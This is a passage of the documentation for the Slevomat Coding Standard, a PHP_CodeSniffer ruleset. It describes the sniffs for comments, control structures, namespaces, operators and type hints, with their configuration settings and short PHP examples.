`forbiddenCommentPatterns`: allows to configure which comments are forbidden to be used. This is an array of regular expressions (PCRE) with delimiters. #### SlevomatCodingStandard.Commenting.DocCommentSpacing 🔧 Enforces configurable number of lines before first content (description or annotation), after last content (description or annotation), between description and annotations, between two different annotation types (eg. between `@param` and `@return`). Sniff provides the following settings: * `linesCountBeforeFirstContent`: allows to configure the number of lines before first content (description or annotation). * `linesCountBetweenDescriptionAndAnnotations`: allows to configure the number of lines between description and annotations. * `linesCountBetweenDifferentAnnotationsTypes`: allows to configure the number of lines between two different annotation types. * `linesCountBetweenAnnotationsGroups`: allows to configure the number of lines between annotation groups. * `linesCountAfterLastContent`: allows to configure the number of lines after last content (description or annotation). * `annotationsGroups`: allows to configure order of annotation groups and even order of annotations in every group. Supports prefixes, eg. `@ORM\`. ```xml ``` If `annotationsGroups` is set, `linesCountBetweenDifferentAnnotationsTypes` is ignored and `linesCountBetweenAnnotationsGroups` is applied. If `annotationsGroups` is not set, `linesCountBetweenAnnotationsGroups` is ignored and `linesCountBetweenDifferentAnnotationsTypes` is applied. Annotations not in any group are placed to automatically created last group. #### SlevomatCodingStandard.Commenting.EmptyComment 🔧 Reports empty comments. #### SlevomatCodingStandard.Commenting.InlineDocCommentDeclaration 🔧 Reports invalid inline phpDocs with `@var`. Sniff provides the following settings: * `allowDocCommentAboveReturn`: Allows documentation comments without variable name above `return` statement. * `allowAboveNonAssignment`: Allows documentation comments above non-assignment if the line contains the right variable name. #### SlevomatCodingStandard.Commenting.RequireOneLinePropertyDocComment 🔧 Requires property comments with single-line content to be written as one-liners. #### SlevomatCodingStandard.Commenting.RequireOneLineDocComment 🔧 Sniff requires comments with single-line content to be written as one-liners. #### SlevomatCodingStandard.Commenting.DisallowOneLinePropertyDocComment 🔧 Sniff requires comments with single-line content to be written as multi-liners. #### SlevomatCodingStandard.Commenting.UselessFunctionDocComment 🔧 * Checks for useless doc comments. If the native method declaration contains everything and the phpDoc does not add anything useful, it's reported as useless and can optionally be automatically removed with `phpcbf`. * Some phpDocs might still be useful even if they do not add any typehint information. They can contain textual descriptions of code elements and also some meaningful annotations like `@expectException` or `@dataProvider`. Sniff provides the following settings: * `traversableTypeHints`: enforces which typehints must have specified contained type. E.g. if you set this to `\Doctrine\Common\Collections\Collection`, then `\Doctrine\Common\Collections\Collection` must always be supplied with the contained type: `\Doctrine\Common\Collections\Collection|Foo[]`. This sniff can cause an error if you're overriding or implementing a parent method which does not have typehints. In such cases add `@phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint` annotation to the method to have this sniff skip it. #### SlevomatCodingStandard.Commenting.UselessInheritDocComment 🔧 Reports documentation comments containing only `{@inheritDoc}` annotation because inheritance is automatic, and it's not needed to use a special annotation for it. ## Complexity #### SlevomatCodingStandard.Complexity.Cognitive Enforces maximum [cognitive complexity](https://www.sonarsource.com/docs/CognitiveComplexity.pdf) for functions. Sniff provides the following setting: * `warningThreshold` (default: `6`) * `errorThreshold` (default: `6`) ## Control structures #### SlevomatCodingStandard.ControlStructures.AssignmentInCondition Disallows assignments in `if`, `elseif` and `do-while` loop conditions: ```php if ($file = findFile($path)) { } ``` Assignment in `while` loop condition is specifically allowed because it's commonly used. This is a great addition to already existing `SlevomatCodingStandard.ControlStructures.DisallowYodaComparison` because it prevents the danger of assigning something by mistake instead of using a comparison operator like `===`. Sniff provides the following settings: * `ignoreAssignmentsInsideFunctionCalls`: ignores assignment inside function calls, like this: ```php if (in_array(1, $haystack, $strict = true)) { } ``` #### SlevomatCodingStandard.ControlStructures.BlockControlStructureSpacing 🔧 Enforces configurable number of lines around block control structures (if, foreach, ...). Sniff provides the following settings: * `linesCountBefore`: allows to configure the number of lines before control structure. * `linesCountBeforeFirst`: allows to configure the number of lines before first control structure. * `linesCountAfter`: allows to configure the number of lines after control structure. * `linesCountAfterLast`: allows to configure the number of lines after last control structure. * `controlStructures`: allows to narrow the list of checked control structures. For example, with the following setting, only `if` and `switch` keywords are checked. ```xml ``` #### SlevomatCodingStandard.ControlStructures.EarlyExit 🔧 Requires use of early exit. Sniff provides the following settings: * `ignoreStandaloneIfInScope`: ignores `if` that is standalone in scope, like this: ```php foreach ($values as $value) { if ($value) { doSomething(); } } ``` * `ignoreOneLineTrailingIf`: ignores `if` that has one line content and is on the last position in scope, like this: ```php foreach ($values as $value) { $value .= 'whatever'; if ($value) { doSomething(); } } ``` * `ignoreTrailingIfWithOneInstruction`: ignores `if` that has only one instruction and is on the last position in scope, like this: ```php foreach ($values as $value) { $value .= 'whatever'; if ($value) { doSomething(function () { // Anything }); } } ``` #### SlevomatCodingStandard.ControlStructures.DisallowContinueWithoutIntegerOperandInSwitch 🔧 Disallows use of `continue` without integer operand in `switch` because it emits a warning in PHP 7.3 and higher. #### SlevomatCodingStandard.ControlStructures.DisallowEmpty Disallows use of `empty()`. #### SlevomatCodingStandard.ControlStructures.DisallowNullSafeObjectOperator Disallows using `?->` operator. #### SlevomatCodingStandard.ControlStructures.DisallowShortTernaryOperator 🔧 Disallows short ternary operator `?:`. Sniff provides the following settings: * `fixable`: the sniff is fixable by default, however in strict code it makes sense to forbid this weakly typed form of ternary altogether, you can disable fixability with this option. #### SlevomatCodingStandard.ControlStructures.DisallowTrailingMultiLineTernaryOperator 🔧 Ternary operator has to be reformatted when the operator is not leading the line. ```php # wrong $t = $someCondition ? $thenThis : $otherwiseThis; # correct $t = $someCondition ? $thenThis : $otherwiseThis; ``` #### SlevomatCodingStandard.ControlStructures.JumpStatementsSpacing 🔧 Enforces configurable number of lines around jump statements (continue, return, ...). Sniff provides the following settings: * `allowSingleLineYieldStacking`: whether or not to allow multiple yield/yield from statements in a row without blank lines. * `linesCountBefore`: allows to configure the number of lines before jump statement. * `linesCountBeforeFirst`: allows to configure the number of lines before first jump statement. * `linesCountBeforeWhenFirstInCaseOrDefault`: allows to configure the number of lines before jump statement that is first in `case` or `default` * `linesCountAfter`: allows to configure the number of lines after jump statement. * `linesCountAfterLast`: allows to configure the number of lines after last jump statement. * `linesCountAfterWhenLastInCaseOrDefault`: allows to configure the number of lines after jump statement that is last in `case` or `default` * `linesCountAfterWhenLastInLastCaseOrDefault`: allows to configure the number of lines after jump statement that is last in last `case` or `default` * `jumpStatements`: allows to narrow the list of checked jump statements. For example, with the following setting, only `continue` and `break` keywords are checked. ```xml ``` #### SlevomatCodingStandard.ControlStructures.LanguageConstructWithParentheses 🔧 `LanguageConstructWithParenthesesSniff` checks and fixes language construct used with parentheses. #### SlevomatCodingStandard.ControlStructures.NewWithParentheses 🔧 Requires `new` with parentheses. #### SlevomatCodingStandard.ControlStructures.NewWithoutParentheses 🔧 Reports `new` with useless parentheses. #### SlevomatCodingStandard.ControlStructures.RequireMultiLineCondition 🔧 Enforces conditions of `if`, `elseif`, `while` and `do-while` with one or more boolean operators to be split to more lines so each condition part is on its own line. Sniff provides the following settings: * `minLineLength`: specifies minimum line length to enforce condition to be split. Use 0 value to enforce for all conditions, regardless of length. * `booleanOperatorOnPreviousLine`: boolean operator is placed at the end of previous line when fixing. * `alwaysSplitAllConditionParts`: require all condition parts to be on its own line - it reports error even if condition is already multi-line but there are some condition parts on the same line. #### SlevomatCodingStandard.ControlStructures.RequireMultiLineTernaryOperator 🔧 Ternary operator has to be reformatted to more lines when the line length exceeds the given limit. Sniff provides the following settings: * `lineLengthLimit` (default: `0`) * `minExpressionsLength` (default: `null`): when the expressions after `?` are shorter than this length, the ternary operator does not have to be reformatted. #### SlevomatCodingStandard.ControlStructures.RequireNullCoalesceEqualOperator 🔧 Requires use of null coalesce equal operator when possible. This sniff provides the following setting: * `enable`: either to enable or not this sniff. By default, it is enabled for PHP versions 7.4 or higher. * `checkIfConditions` (default: `false`): will check `if` conditions too. #### SlevomatCodingStandard.ControlStructures.RequireNullCoalesceOperator 🔧 Requires use of null coalesce operator when possible. #### SlevomatCodingStandard.ControlStructures.RequireNullSafeObjectOperator 🔧 Requires using `?->` operator. Sniff provides the following settings: * `enable`: either to enable or not this sniff. By default, it is enabled for PHP versions 8.0 or higher. #### SlevomatCodingStandard.ControlStructures.RequireSingleLineCondition 🔧 Enforces conditions of `if`, `elseif`, `while` and `do-while` to be on a single line. Sniff provides the following settings: * `maxLineLength`: specifies max allowed line length. If condition (and the rest of the line) would fit on it, it's enforced. Use 0 value to enforce for all conditions, regardless of length. * `alwaysForSimpleConditions`: allows to enforce single line for all simple conditions (i.e no `&&`, `||` or `xor`), regardless of length. #### SlevomatCodingStandard.ControlStructures.RequireShortTernaryOperator 🔧 Requires short ternary operator `?:` when possible. #### SlevomatCodingStandard.ControlStructures.RequireTernaryOperator 🔧 Requires ternary operator when possible. Sniff provides the following settings: * `ignoreMultiLine` (default: `false`): ignores multi-line statements. #### SlevomatCodingStandard.ControlStructures.DisallowYodaComparison 🔧 #### SlevomatCodingStandard.ControlStructures.RequireYodaComparison 🔧 [Yoda conditions](https://en.wikipedia.org/wiki/Yoda_conditions) decrease code comprehensibility and readability by switching operands around comparison operators forcing the reader to read the code in an unnatural way. Sniff provides the following settings: * `alwaysVariableOnRight` (default: `false`): moves variables always to right. `DisallowYodaComparison` looks for and fixes such comparisons not only in `if` statements but in the whole code. However, if you prefer Yoda conditions, you can use `RequireYodaComparison`. #### SlevomatCodingStandard.ControlStructures.UselessIfConditionWithReturn 🔧 Reports useless conditions where both branches return `true` or `false`. Sniff provides the following settings: * `assumeAllConditionExpressionsAreAlreadyBoolean` (default: `false`). #### SlevomatCodingStandard.ControlStructures.UselessTernaryOperator 🔧 Reports useless ternary operator where both branches return `true` or `false`. Sniff provides the following settings: * `assumeAllConditionExpressionsAreAlreadyBoolean` (default: `false`). ## Exceptions #### SlevomatCodingStandard.Exceptions.DeadCatch This sniff finds unreachable catch blocks: ```php try { doStuff(); } catch (\Throwable $e) { log($e); } catch (\InvalidArgumentException $e) { // unreachable! } ``` #### SlevomatCodingStandard.Exceptions.DisallowNonCapturingCatch This sniff forbids use of non-capturing catch introduced in PHP 8.0 [PHP RFC: non-capturing catches](https://wiki.php.net/rfc/non-capturing_catches). #### SlevomatCodingStandard.Exceptions.ReferenceThrowableOnly 🔧🚧 In PHP 7.0, a [`Throwable` interface was added](https://wiki.php.net/rfc/throwable-interface) that allows catching and handling errors in more cases than `Exception` previously allowed. So, if the catch statement contained `Exception` on PHP 5.x, it means it should probably be rewritten to reference `Throwable` on PHP 7.x. This sniff enforces that. #### SlevomatCodingStandard.Exceptions.RequireNonCapturingCatch 🔧 Sniff provides the following settings: * `enable`: either to enable or not this sniff. By default, it is enabled for PHP versions 8.0 or higher. It requires non-capturing catch when the variable with exception is not used. ## Files #### SlevomatCodingStandard.Files.FileLength Disallows long files. This sniff provides the following settings: * `includeComments` (default: `false`): should comments be included in the count. * `includeWhitespace` (default: `false`): should empty lines be included in the count. * `maxLinesLength` (default: `250`): specifies max allowed function lines length. #### SlevomatCodingStandard.Files.LineLength Enforces maximum length of a single line of code. Sniff provides the following settings: * `lineLengthLimit`: actual limit of the line length * `ignoreComments`: whether to ignore line length of comments * `ignoreImports`: whether to ignore line length of import (use) statements #### SlevomatCodingStandard.Files.TypeNameMatchesFileName For projects not following the [PSR-0](http://www.php-fig.org/psr/psr-0/) or [PSR-4](http://www.php-fig.org/psr/psr-4/) autoloading standards, this sniff checks whether a namespace and a name of a class/interface/trait follows agreed-on way to organize code into directories and files. Other than enforcing that the type name must match the name of the file it's contained in, this sniff is very configurable. Consider the following sample configuration: ```xml ``` Sniff provides the following settings: * `rootNamespaces` property expects configuration similar to PSR-4 - project directories mapped to certain namespaces. * `skipDirs` are not taken into consideration when comparing a path to a namespace. For example, with the above settings, file at path `app/services/Product/Product.php` is expected to contain `Slevomat\Product\Product`, not `Slevomat\services\Product\Product`. * `extensions`: allow different file extensions. Default is `php`. * `ignoredNamespaces`: sniff is not performed on these namespaces. ## Functions #### SlevomatCodingStandard.Functions.ArrowFunctionDeclaration 🔧 Checks `fn` declaration. Sniff provides the following settings: * `spacesCountAfterKeyword`: the number of spaces after `fn`. * `spacesCountBeforeArrow`: the number of spaces before `=>`. * `spacesCountAfterArrow`: the number of spaces after `=>`. * `allowMultiLine`: allows multi-line declaration. #### SlevomatCodingStandard.Functions.DisallowArrowFunction Disallows arrow functions. #### SlevomatCodingStandard.Functions.DisallowEmptyFunction Reports empty functions body and requires at least a comment inside. #### SlevomatCodingStandard.Functions.FunctionLength Disallows long functions. This sniff provides the following setting: * `includeComments` (default: `false`): should comments be included in the count. * `includeWhitespace` (default: `false`): should empty lines be included in the count. * `maxLinesLength` (default: `20`): specifies max allowed function lines length. #### SlevomatCodingStandard.Functions.RequireArrowFunction 🔧 Requires arrow functions. Sniff provides the following settings: * `allowNested` (default: `true`) * `enable`: either to enable or not this sniff. By default, it is enabled for PHP versions 7.4 or higher. #### SlevomatCodingStandard.Functions.RequireMultiLineCall 🔧 Enforces function call to be split to more lines so each parameter is on its own line. Sniff provides the following settings: * `minLineLength`: specifies min line length to enforce call to be split. Use 0 value to enforce for all calls, regardless of length. #### SlevomatCodingStandard.Functions.RequireSingleLineCall 🔧 Enforces function call to be on a single line. Sniff provides the following settings: * `maxLineLength`: specifies max allowed line length. If call would fit on it, it's enforced. Use 0 value to enforce for all calls, regardless of length. * `ignoreWithComplexParameter` (default: `true`): ignores calls with arrays, closures, arrow functions and nested calls. #### SlevomatCodingStandard.Functions.DisallowNamedArguments This sniff disallows usage of named arguments. #### SlevomatCodingStandard.Functions.NamedArgumentSpacing 🔧 Checks spacing in named argument. #### SlevomatCodingStandard.Functions.DisallowTrailingCommaInCall 🔧 This sniff disallows trailing commas in multi-line calls. This sniff provides the following setting: * `onlySingleLine`: to enable checks only for single-line calls. #### SlevomatCodingStandard.Functions.RequireTrailingCommaInCall 🔧 Commas after the last parameter in function or method call make adding a new parameter easier and result in a cleaner versioning diff. This sniff enforces trailing commas in multi-line calls. This sniff provides the following setting: * `enable`: either to enable or not this sniff. By default, it is enabled for PHP versions 7.3 or higher. #### SlevomatCodingStandard.Functions.DisallowTrailingCommaInClosureUse 🔧 This sniff disallows trailing commas in multi-line `use` of closure declaration. This sniff provides the following setting: * `onlySingleLine`: to enable checks only for single-line `use` declarations. #### SlevomatCodingStandard.Functions.RequireTrailingCommaInClosureUse 🔧 Commas after the last inherited variable in multi-line `use` of closure declaration make adding a new variable easier and result in a cleaner versioning diff. This sniff enforces trailing commas in multi-line declarations. This sniff provides the following setting: * `enable`: either to enable or not this sniff. By default, it is enabled for PHP versions 8.0 or higher. #### SlevomatCodingStandard.Functions.DisallowTrailingCommaInDeclaration 🔧 This sniff disallows trailing commas in multi-line declarations. This sniff provides the following setting: * `onlySingleLine`: to enable checks only for single-line declarations. #### SlevomatCodingStandard.Functions.RequireTrailingCommaInDeclaration 🔧 Commas after the last parameter in function or method declaration make adding a new parameter easier and result in a cleaner versioning diff. This sniff enforces trailing commas in multi-line declarations. This sniff provides the following setting: * `enable`: either to enable or not this sniff. By default, it is enabled for PHP versions 8.0 or higher. #### SlevomatCodingStandard.Functions.StaticClosure 🔧 Reports closures not using `$this` that are not declared `static`. #### SlevomatCodingStandard.Functions.StrictCall Some functions have `$strict` parameter. This sniff reports calls to these functions without the parameter or with `$strict = false`. #### SlevomatCodingStandard.Functions.UnusedInheritedVariablePassedToClosure 🔧 Looks for unused inherited variables passed to closure via `use`. #### SlevomatCodingStandard.Functions.UnusedParameter 🚧 Looks for unused parameters. This sniff provides the following setting: * `allowedParameterPatterns`: allows to configure which parameters are always allowed, even if unused. This is an array of regular expressions (PCRE) with delimiters, but without the leading `$` from variable names. (For example, use `[/^_/]` to allow parameters that start with an underscore, like `$_unused`.) #### SlevomatCodingStandard.Functions.UselessParameterDefaultValue 🚧 Looks for useless parameter default value. ## Namespaces #### SlevomatCodingStandard.Namespaces.AlphabeticallySortedUses 🔧 Sniff checks whether `use` declarations at the top of a file are alphabetically sorted. Follows natural sorting and takes edge cases with special symbols into consideration. The following code snippet is an example of correctly sorted uses: ```php use LogableTrait; use LogAware; use LogFactory; use LoggerInterface; use LogLevel; use LogStandard; ``` Sniff provides the following settings: * `psr12Compatible` (default: `true`): sets the required order to `classes`, `functions` and `constants`. `false` sets the required order to `classes`, `constants` and `functions`. * `caseSensitive`: compare namespaces case sensitively, which makes this order correct: ```php use LogAware; use LogFactory; use LogLevel; use LogStandard; use LogableTrait; use LoggerInterface; ``` #### SlevomatCodingStandard.Namespaces.DisallowGroupUse [Group use declarations](https://wiki.php.net/rfc/group_use_declarations) are ugly, make diffs ugly and this sniff prohibits them. #### SlevomatCodingStandard.Namespaces.FullyQualifiedExceptions 🔧 This sniff reduces confusion in the following code snippet: ```php try { $this->foo(); } catch (Exception $e) { // Is this the general exception all exceptions must extend from? Or Exception from the current namespace? } ``` All references to types named `Exception` or ending with `Exception` must be referenced via a fully qualified name: ```php try { $this->foo(); } catch (\FooCurrentNamespace\Exception $e) { } catch (\Exception $e) { } ``` Sniff provides the following settings: * Exceptions with different names can be configured in `specialExceptionNames` property. * If your codebase uses classes that look like exceptions (because they have `Exception` or `Error` suffixes) but aren't, you can add them to `ignoredNames` property and the sniff won't enforce them to be fully qualified. Classes with `Error` suffix have to be added to ignored only if they are in the root namespace (like `LibXMLError`). #### SlevomatCodingStandard.Namespaces.FullyQualifiedGlobalConstants 🔧 All references to global constants must be referenced via a fully qualified name. Sniff provides the following settings: * `include`: list of global constants that must be referenced via FQN. If not set all constants are considered. * `exclude`: list of global constants that are allowed not to be referenced via FQN. #### SlevomatCodingStandard.Namespaces.FullyQualifiedGlobalFunctions 🔧 All references to global functions must be referenced via a fully qualified name. Sniff provides the following settings: * `include`: list of global functions that must be referenced via FQN. If not set all functions are considered. * `includeSpecialFunctions`: include complete list of PHP internal functions that could be optimized when referenced via FQN. * `exclude`: list of global functions that are allowed not to be referenced via FQN. #### SlevomatCodingStandard.Namespaces.FullyQualifiedClassNameInAnnotation 🔧 Enforces fully qualified names of classes and interfaces in phpDocs - in annotations. This results in unambiguous phpDocs. Sniff provides the following settings: * `ignoredAnnotationNames`: case-sensitive list of annotation names that the sniff should ignore. Useful for custom annotation names like `@apiParam` #### SlevomatCodingStandard.Namespaces.MultipleUsesPerLine Prohibits multiple uses separated by commas: ```php use Foo, Bar; ``` #### SlevomatCodingStandard.Namespaces.NamespaceDeclaration 🔧 Enforces one space after `namespace`, disallows content between namespace name and semicolon and disallows use of bracketed syntax. #### SlevomatCodingStandard.Namespaces.NamespaceSpacing 🔧 Enforces configurable number of lines before and after `namespace`. Sniff provides the following settings: * `linesCountBeforeNamespace`: allows to configure the number of lines before `namespace`. * `linesCountAfterNamespace`: allows to configure the number of lines after `namespace`. #### SlevomatCodingStandard.Namespaces.RequireOneNamespaceInFile Requires only one namespace in a file. #### SlevomatCodingStandard.Namespaces.ReferenceUsedNamesOnly 🔧 Sniff provides the following settings: * `searchAnnotations` (default: `false`): enables searching for mentions in annotations. * `namespacesRequiredToUse`: if not set, all namespaces are required to be used. When set, only mentioned namespaces are required to be used. Useful in tandem with UseOnlyWhitelistedNamespaces sniff. * `allowFullyQualifiedExceptions`, `specialExceptionNames` & `ignoredNames`: allows fully qualified exceptions. Useful in tandem with FullyQualifiedExceptions sniff. * `allowFullyQualifiedNameForCollidingClasses`: allow fully qualified name for a class with a colliding use statement. * `allowFullyQualifiedNameForCollidingFunctions`: allow fully qualified name for a function with a colliding use statement. * `allowFullyQualifiedNameForCollidingConstants`: allow fully qualified name for a constant with a colliding use statement. * `allowFullyQualifiedGlobalClasses`: allows using fully qualified classes from global space (i.e. `\DateTimeImmutable`). * `allowFullyQualifiedGlobalFunctions`: allows using fully qualified functions from global space (i.e. `\phpversion()`). * `allowFullyQualifiedGlobalConstants`: allows using fully qualified constants from global space (i.e. `\PHP_VERSION`). * `allowFallbackGlobalFunctions`: allows using global functions via fallback name without `use` (i.e. `phpversion()`). * `allowFallbackGlobalConstants`: allows using global constants via fallback name without `use` (i.e. `PHP_VERSION`). * `allowPartialUses`: allows using and referencing whole namespaces. * `allowWhenNoNamespace` (default: `true`): force even when there's no namespace in the file. #### SlevomatCodingStandard.Namespaces.UseDoesNotStartWithBackslash 🔧 Disallows leading backslash in use statement: ```php use \Foo\Bar; ``` #### SlevomatCodingStandard.Namespaces.UseFromSameNamespace 🔧 Sniff prohibits uses from the same namespace: ```php namespace Foo; use Foo\Bar; ``` #### SlevomatCodingStandard.Namespaces.UseSpacing 🔧 Enforces configurable number of lines before first `use`, after last `use` and between two different types of `use` (eg. between `use function` and `use const`). Also enforces zero number of lines between same types of `use`. Sniff provides the following settings: * `linesCountBeforeFirstUse`: allows to configure the number of lines before first `use`. * `linesCountBetweenUseTypes`: allows to configure the number of lines between two different types of `use`. * `linesCountAfterLastUse`: allows to configure the number of lines after last `use`. #### SlevomatCodingStandard.Namespaces.UseOnlyWhitelistedNamespaces Sniff disallows uses of other than configured namespaces. Sniff provides the following settings: * `namespacesRequiredToUse`: namespaces in this array are the only ones allowed to be used. E.g. root project namespace. * `allowUseFromRootNamespace`: also allow using top-level namespace: ```php use DateTimeImmutable; ``` #### SlevomatCodingStandard.Namespaces.UselessAlias 🔧 Looks for `use` alias that is same as unqualified name. #### SlevomatCodingStandard.Namespaces.UnusedUses 🔧 Looks for unused imports from other namespaces. Sniff provides the following settings: * `searchAnnotations` (default: `false`): enables searching for class names in annotations. * `ignoredAnnotationNames`: case-sensitive list of annotation names that the sniff should ignore (only the name is ignored, annotation content is still searched). Useful for name collisions like `@testCase` annotation and `TestCase` class. * `ignoredAnnotations`: case-sensitive list of annotation names that the sniff ignore completely (both name and content are ignored). Useful for name collisions like `@group Cache` annotation and `Cache` class. ## Numbers #### SlevomatCodingStandard.Numbers.DisallowNumericLiteralSeparator 🔧 Disallows numeric literal separators. #### SlevomatCodingStandard.Numbers.RequireNumericLiteralSeparator Requires use of numeric literal separators. This sniff provides the following setting: * `enable`: either to enable or not this sniff. By default, it is enabled for PHP versions 7.4 or higher. * `minDigitsBeforeDecimalPoint`: the minimum digits before decimal point to require separator. * `minDigitsAfterDecimalPoint`: the minimum digits after decimal point to require separator. * `ignoreOctalNumbers`: to ignore octal numbers. ## Operators #### SlevomatCodingStandard.Operators.DisallowEqualOperators 🔧 Disallows using loose `==` and `!=` comparison operators. Use `===` and `!==` instead, they are much more secure and predictable. #### SlevomatCodingStandard.Operators.DisallowIncrementAndDecrementOperators Disallows using `++` and `--` operators. #### SlevomatCodingStandard.Operators.NegationOperatorSpacing 🔧 Checks if there is the same number of spaces after negation operator as expected. Sniff provides the following settings: * `spacesCount`: the number of spaces expected after the negation operator #### SlevomatCodingStandard.Operators.RequireCombinedAssignmentOperator 🔧 Requires using combined assignment operators, eg `+=`, `.=` etc. #### SlevomatCodingStandard.Operators.RequireOnlyStandaloneIncrementAndDecrementOperators Reports `++` and `--` operators not used standalone. #### SlevomatCodingStandard.Operators.SpreadOperatorSpacing 🔧 Enforces configurable number of spaces after the `...` operator. Sniff provides the following settings: * `spacesCountAfterOperator`: the number of spaces after the `...` operator. ## PHP #### SlevomatCodingStandard.PHP.DisallowDirectMagicInvokeCall 🔧 Disallows direct call of `__invoke()`. #### SlevomatCodingStandard.PHP.DisallowReference Sniff disallows usage of references. #### SlevomatCodingStandard.PHP.ForbiddenClasses 🔧 Reports usage of forbidden classes, interfaces, parent classes and traits. And provide the following settings: * `forbiddenClasses`: forbids creating instances with `new` keyword or accessing with `::` operator * `forbiddenExtends`: forbids extending with `extends` keyword * `forbiddenInterfaces`: forbids usage in `implements` section * `forbiddenTraits`: forbids imports with `use` keyword Optionally can be passed as an alternative for auto fixes. See `phpcs.xml` file example: ```xml ``` #### SlevomatCodingStandard.PHP.ReferenceSpacing 🔧 Enforces configurable number of spaces after reference. Sniff provides the following settings: * `spacesCountAfterReference`: the number of spaces after `&`. #### SlevomatCodingStandard.PHP.RequireExplicitAssertion 🔧 Requires assertion via `assert` instead of inline documentation comments. Sniff provides the following settings: * `enableIntegerRanges` (default: `false`): enables support for `positive-int`, `negative-int` and `int<0, 100>`. * `enableAdvancedStringTypes` (default: `false`): enables support for `callable-string`, `numeric-string` and `non-empty-string`. #### SlevomatCodingStandard.PHP.RequireNowdoc 🔧 Requires nowdoc syntax instead of heredoc when possible. #### SlevomatCodingStandard.PHP.OptimizedFunctionsWithoutUnpacking PHP optimizes some internal functions into special opcodes on VM level. Such optimization results in much faster execution compared to calling standard functions. This only works when these functions are not invoked with argument unpacking (`...`). The list of these functions varies across PHP versions, but is the same as functions that must be referenced by their global name (either by `\ ` prefix or using `use function`), not a fallback name inside namespaced code. #### SlevomatCodingStandard.PHP.ShortList 🔧 Enforces using short form of list syntax, `[...]` instead of `list(...)`. #### SlevomatCodingStandard.PHP.TypeCast 🔧 Enforces using shorthand cast operators, forbids use of unset and binary cast operators: `(bool)` instead of `(boolean)`, `(int)` instead of `(integer)`, `(float)` instead of `(double)` or `(real)`. `(binary)` and `(unset)` are forbidden. #### SlevomatCodingStandard.PHP.UselessParentheses 🔧 Looks for useless parentheses. Sniff provides the following settings: * `ignoreComplexTernaryConditions` (default: `false`): ignores complex ternary conditions - condition must contain `&&`, `||` etc. or end of line. #### SlevomatCodingStandard.PHP.UselessSemicolon 🔧 Looks for useless semicolons. ## Strings #### SlevomatCodingStandard.Strings.DisallowVariableParsing Disallows variable parsing inside strings. Sniff provides the following settings: * `disallowDollarCurlySyntax`: disallows usage of `${...}`, enabled by default. * `disallowCurlyDollarSyntax`: disallows usage of `{$...}`, disabled by default. * `disallowSimpleSyntax`: disallows usage of `$...`, disabled by default. ## Type hints #### SlevomatCodingStandard.TypeHints.ClassConstantTypeHint 🔧 * Checks for missing typehints in case they can be declared natively. * Reports useless `@var` annotation (or whole documentation comment) because the type of constant is always clear. Sniff provides the following settings: * `enableNativeTypeHint`: enforces native typehint. It's on by default if you're on PHP 8.3+ * `fixableNativeTypeHint`: (default: `yes`) allows fixing native type hints. Use `no` to disable fixing, or `private` to fix only private constants (safer for inheritance/interface compatibility). #### SlevomatCodingStandard.TypeHints.DeclareStrictTypes 🔧 Enforces having `declare(strict_types = 1)` at the top of each PHP file. Allows configuring how many newlines should be between the ``, `array>`). Sniff provides the following settings: * `traversableTypeHints`: helps fixer detect traversable type hints so `\Traversable|int[]` can be converted to `\Traversable`. #### SlevomatCodingStandard.TypeHints.DisallowMixedTypeHint Disallows usage of "mixed" type hint in phpDocs. #### SlevomatCodingStandard.TypeHints.DNFTypeHintFormat 🔧 Checks format of DNF type hints. Sniff provides the following settings: * `enable`: either to enable or not this sniff. By default, it is enabled for PHP versions 8.0 or higher. * `withSpacesAroundOperators`: `yes` requires spaces around `|` and `&`, `no` requires no space around `|`and `&`. None is set by default so both are enabled. * `withSpacesInsideParentheses`: `yes` requires spaces inside parentheses, `no` requires no spaces inside parentheses. None is set by default so both are enabled. * `shortNullable`: `yes` requires usage of `?` for nullable type hint, `no` disallows it. None is set by default so both are enabled. * `nullPosition`: `first` requires `null` on first position in the type hint, `last` requires last position. None is set by default so `null` can be everywhere. #### SlevomatCodingStandard.TypeHints.LongTypeHints 🔧 Enforces using shorthand scalar typehint variants in phpDocs: `int` instead of `integer` and `bool` instead of `boolean`. This is for consistency with native scalar typehints which also allow shorthand variants only. #### SlevomatCodingStandard.TypeHints.NullTypeHintOnLastPosition 🔧 Enforces `null` type hint on last position in annotations. #### SlevomatCodingStandard.TypeHints.NullableTypeForNullDefaultValue 🔧🚧 Checks whether the nullablity `?` symbol is present before each nullable and optional parameter (which are marked as `= null`): ```php function foo( int $foo = null, // ? missing ?int $bar = null // correct ) { } ``` #### SlevomatCodingStandard.TypeHints.ParameterTypeHint 🔧🚧 * Checks for missing parameter typehints in case they can be declared natively. If the phpDoc contains something that can be written as a native PHP 7.0+ typehint, this sniff reports that. * Checks for useless `@param` annotations. If the native method declaration contains everything and the phpDoc does not add anything useful, it's reported as useless and can optionally be automatically removed with `phpcbf`. * Forces to specify what's in traversable types like `array`, `iterable` and `\Traversable`. Sniff provides the following settings: * `enableObjectTypeHint`: enforces to transform `@param object` into native `object` typehint. It's on by default if you're on PHP 7.2+ * `enableMixedTypeHint`: enforces to transform `@param mixed` into native `mixed` typehint. It's on by default if you're on PHP 8.0+ * `enableUnionTypeHint`: enforces to transform `@param string|int` into native `string|int` typehint. It's on by default if you're on PHP 8.0+ * `enableIntersectionTypeHint`: enforces to transform `@param Foo&Bar` into native `Foo&Bar` typehint. It's on by default if you're on PHP 8.1+ * `enableStandaloneNullTrueFalseTypeHints`: enforces to transform `@param true`, `@param false` or `@param null` into native typehints. It's on by default if you're on PHP 8.2+ * `traversableTypeHints`: enforces which typehints must have specified contained type. E.g. if you set this to `\Doctrine\Common\Collections\Collection`, then `\Doctrine\Common\Collections\Collection` must always be supplied with the contained type: `\Doctrine\Common\Collections\Collection|Foo[]`. This sniff can cause an error if you're overriding or implementing a parent method which does not have typehints. In such cases add `@phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint` annotation to the method to have this sniff skip it. #### SlevomatCodingStandard.TypeHints.ParameterTypeHintSpacing 🔧 * Checks that there's a single space between a typehint and a parameter name: `Foo $foo` * Checks that there's no whitespace between a nullability symbol and a typehint: `?Foo` #### SlevomatCodingStandard.TypeHints.PropertyTypeHint 🔧🚧 * Checks for missing property typehints in case they can be declared natively. If the phpDoc contains something that can be written as a native PHP 7.4+ typehint, this sniff reports that. * Checks for useless `@var` annotations. If the native method declaration contains everything and the phpDoc does not add anything useful, it's reported as useless and can optionally be automatically removed with `phpcbf`. * Forces to specify what's in traversable types like `array`, `iterable` and `\Traversable`. Sniff provides the following settings: * `enableNativeTypeHint`: enforces to transform `@var int` into native `int` 